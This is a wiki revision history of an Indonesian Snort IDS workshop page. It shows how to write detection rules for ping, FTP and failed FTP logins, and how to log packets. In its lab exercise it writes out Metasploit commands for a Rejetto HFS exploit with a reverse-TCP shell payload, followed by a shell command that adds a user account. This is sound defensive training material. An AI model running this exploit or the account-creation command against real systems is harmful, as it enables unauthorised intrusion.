SNORT-RULES: Contoh Materi Workshop - Revision history

Onnowpurbo: /* Detect kegagalan ftp */

2018-12-05T20:27:24Z

Detect kegagalan ftp

Onnowpurbo: /* Detect kegagalan ftp */

2018-12-05T13:28:18Z

Detect kegagalan ftp

Onnowpurbo: /* Detect kegagalan ftp */

2018-12-05T13:27:15Z

Detect kegagalan ftp

Onnowpurbo: /* Detect kegagalan ftp */

2018-12-05T13:25:10Z

Detect kegagalan ftp

Onnowpurbo: /* Deteksi ftp */

2018-12-05T13:24:17Z

Deteksi ftp

Onnowpurbo: /* Deteksi ftp */

2018-12-05T13:22:32Z

Deteksi ftp

Onnowpurbo: /* Deteksi ping */

2018-12-05T13:16:53Z

Deteksi ping

Onnowpurbo: /* Exercise 3: Building a custom rule from logged traffic */

2018-12-05T12:58:24Z

Exercise 3: Building a custom rule from logged traffic

Onnowpurbo: /* Exercise 2: Snort as a Packet Logger */

2018-12-05T05:17:26Z

Exercise 2: Snort as a Packet Logger

Onnowpurbo: /* Membuat local.rules Sederhana */

2018-12-05T05:10:13Z

Membuat local.rules Sederhana

@@ Line 116: / Line 116: @@
 Tambahkan
-  alert tcp $HOME_NET 21 -> any any (msg:"FTP failed login"; content:"Login incorrect"; sid:1000003; rev:1;)
+  alert tcp any any <> $HOME_NET 21 (msg:"FTP failed login"; content:"Login incorrect"; sid:1000003; rev:1;)
 Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,

@@ Line 116: / Line 116: @@
 Tambahkan
-  alert tcp $HOME_NET 21 -> any any (msg:"FTP failed login"; content:"Login or password incorrect"; sid:1000003; rev:1;)
+  alert tcp $HOME_NET 21 -> any any (msg:"FTP failed login"; content:"Login incorrect"; sid:1000003; rev:1;)
 Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,

@@ Line 116: / Line 116: @@
 Tambahkan
-  alert tcp $HOME_NET 21 -> any any (msg:”FTP failed login”; content:”Login or password incorrect”; sid:1000003; rev:1;)
+  alert tcp $HOME_NET 21 -> any any (msg:"FTP failed login"; content:"Login or password incorrect"; sid:1000003; rev:1;)
 Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,

@@ Line 109: / Line 109: @@
 ===Detect kegagalan ftp===
 Edit
-  sudo gedit /etc/snort/rules/local.rules
+  sudo vi /etc/snort/rules/local.rules
 Tambahkan
@@ Line 119: / Line 120: @@
 Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,
+  sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3
 ==Snort sebagai Packet Logger==

@@ Line 101: / Line 101: @@
 Maka akan tampak alert.
-Cek log, jalankan
+Cek log. Cek file TCP:xxxxx-21 (21 adalah port ftp). Misalnya,
   ls /var/log/snort
   sudo ls /var/log/snort/192.168.x.x
   sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
 ===Detect kegagalan ftp===

@@ Line 84: / Line 84: @@
 Untuk belajar lebih lanjut, buat rule tambahan, edit
-  sudo gedit /etc/snort/rules/local.rules
+  sudo vi /etc/snort/rules/local.rules
 Masukan misalnya,
-  alert tcp 192.168.x.x any -> $HOME_NET 21 (msg:”FTP connection attempt”; sid:1000002; rev:1;)
+  alert tcp any any -> $HOME_NET 21 (msg:”FTP connection attempt”; sid:1000002; rev:1;)
 Ini untuk mendeteksi traffic FTP. Jalankan snort
-  sudo snort -A console -q -c /etc/snort/snort.conf -i eth0 -K ascii
+  sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3 -K ascii
-Coba ftp dari Kali Linux dengan perintah
+Coba ftp ke server (misalnya 192.168.x.x) dari Kali Linux dengan perintah
   ftp 192.168.x.x
@@ Line 109: / Line 110: @@
   sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
 File tersebut jika berbentuk bisa baca dengan wireshark
 ===Detect kegagalan ftp===

@@ Line 59: / Line 59: @@
 * classtype:icmp-event – Categorizes the rule as an “icmp-event”, one of the predefined Snort categories. This option helps with rule organization.
-Jalankan snort configuration test lagi:
+Test snort untuk cek apakah ada masalah atau tidak, asumsi ethernet enp0s3
-  sudo snort -T -i eth0 -c /etc/snort/snort.conf
+  sudo snort -T -i enp0s3 -c /etc/snort/snort.conf
 Jalan kan snort dengan mode IDS, tampilkan alert di console:
-  sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
+  sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3
 dimana
@@ Line 81: / Line 79: @@
 Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server.
 ===Deteksi ftp===

@@ Line 163: / Line 163: @@
 * jika di peroleh packet-nya, lakukan select Follow TCP Stream.
-==Exercise 3: Building a custom rule from logged traffic==
+==Membuat custom rule dari catatan traffic==
-We want to see an alert show up anytime Snort sees “C:\Users\Administrator\Desktop\hfs2.3b>.” Go to our local.rules file (if you closed it, open it again as root using the same command as we did earlier), and add the following rule on a new line (note that we are escaping all the backslashes to make sure they are included in the content):
+Misalnya, kita ingin snort memberikan alert setiap kali melihat “C:\Users\Administrator\Desktop\hfs2.3b>.” Edit local.rules masukan sebagai berikut
   alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;)
-Save the file. Run Snort in IDS mode again:
+Jalankan snort sebagai IDS
   sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
-Now go back to your Kali Linux VM. You should still be at the prompt for the rejetto exploit. Just enter exploit to run it again. Wait until you get command shell access and return to the Snort terminal on Ubuntu Server. You should see that alerts have been generated based on our new rule:
+Jalankan exploit tersebut dari Kali Linux maka kita akan melihat alert di server.
-Hit Ctrl+C on Kali Linux terminal and enter y to exit out of the command shell. Then hit Ctrl+C on the Ubuntu Server terminal to stop Snort.
+Jika kita ingin menyimpan local.rules dari hasil sadapan wireshark di kali linux, kita perlu melakukan,
-In this case, we have some human-readable content to use in our rule. But that’s not always the case. Let’s modify our rule so it looks for content that is represented in hex format. First, in our local.rules file, copy our latest rule and paste it below in the new line. Now comment out the old rule and change the “rev” value for the new rule to “2.” See below.
+* select packet
+* di bagian tengah wireshark lakukan Copy > Bytes > Offset Hex.
-Bring up the Wireshark window with our capture again, with the same payload portion selected. Unfortunately, you cannot copy hex values directly from the Wireshark’s main window, but there is an easy solution that will work for us. With the needed content selected, right-click either the corresponding (highlighted) packet in the top pane or the highlighted “Data:” entry in the middle pane and select Copy -> Bytes -> Offset Hex. See below.
+* paste Hex tersebut di aturan di local.rules, pastikan itu hanya hex yang kita perlukan, tambahan | di ujung2.
 ==Referensi==
 * http://resources.infosecinstitute.com/snort-rules-workshop-part-one/

@@ Line 129: / Line 129: @@
   sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
-==Exercise 2: Snort as a Packet Logger==
+==Snort sebagai Packet Logger==
-With the rapidly changing attack landscape and vectors out there today, we might not even know what we should be looking for until we’ve seen the attack. Then perhaps, after examining that traffic, we could create a rule for that specific “new” attack. This is exactly how the default publicly available Snort rules are created. We’ll now run Snort in logging mode and see what we’re able to identify the traffic based on the attacks that we do.
+Untuk mendeteksi teknik serangan yang baru, kita bisa menjalankan snort untuk mencatat paket / packet logger menggunakan perintah
-In this exercise will simulate an attack on our Windows Server while running Snort in packet logging mode. Then we will examine the logged packets to see if we can identify an attack signature.
+ sudo snort -dev -q -l /var/log/snort -i eth0
-Make sure that all 3 VMs (Ubuntu Server, Windows Server, and Kali Linux) are running. On your Kali Linux VM, enter the following into a terminal shell:
+Masuk kali linux untuk menyerang, jalankan,
   msfconsole
-This will launch Metasploit Framework, a popular penetration testing platform. It will take a few seconds to load. Ignore the database connection error. Wait until you see the msf> prompt. Once there, enter the following series of commands:
+Lakukan exploit misalnya,
   use exploit/windows/http/rejetto_hfs_exec
   set PAYLOAD windows/shell/reverse_tcp
-  set LHOST 192.168.x.x (Kali Linux VM IP address)
+  set LHOST 192.168.x.x (Kali Linux IP address)
-  set RHOST 192.168.x.x (Windows Server 2012 R2 VM IP address)
+  set RHOST 192.168.x.x (Server WIndows IP address)
   set RPORT 8081
-Here we configured an exploit against a vulnerable version of Rejetto HFS HTTP File server that is running on our Windows Server 2012 R2 VM. Before running the exploit, we need to start Snort in packet logging mode. Go to your Ubuntu Server VM and enter the following command in a terminal shell:
+Jika berhasil maka kita akan memperoleh shell, ketik
   net user accountname P@ssword12 /ADD
   cd \
   mkdir yourname
-Now press Ctrl+C and answer y for “yes” to close your command shell access.
+Ketik Ctrl+C dan jawab y atau "yes" untuk menutup akses shell.
-After you’ve verified your results, go ahead and close the stream window. This should take you back to the packet you selected in the beginning. Now hit your up arrow until you see the ASCII part of your hex dump show “C:\Users\Administrator\Desktop\hfs2.3b>” in the bottom pane. See below.
+Kemudian,
-Note the selected portion in the graphic above. We will use this content to create an alert that will let us know when a command shell is being sent out to another host as a result of the Rejetto HFS exploit. Minimize the Wireshark window (don’t close it just yet).
+* cek /var/log/snort
 ==Exercise 3: Building a custom rule from logged traffic==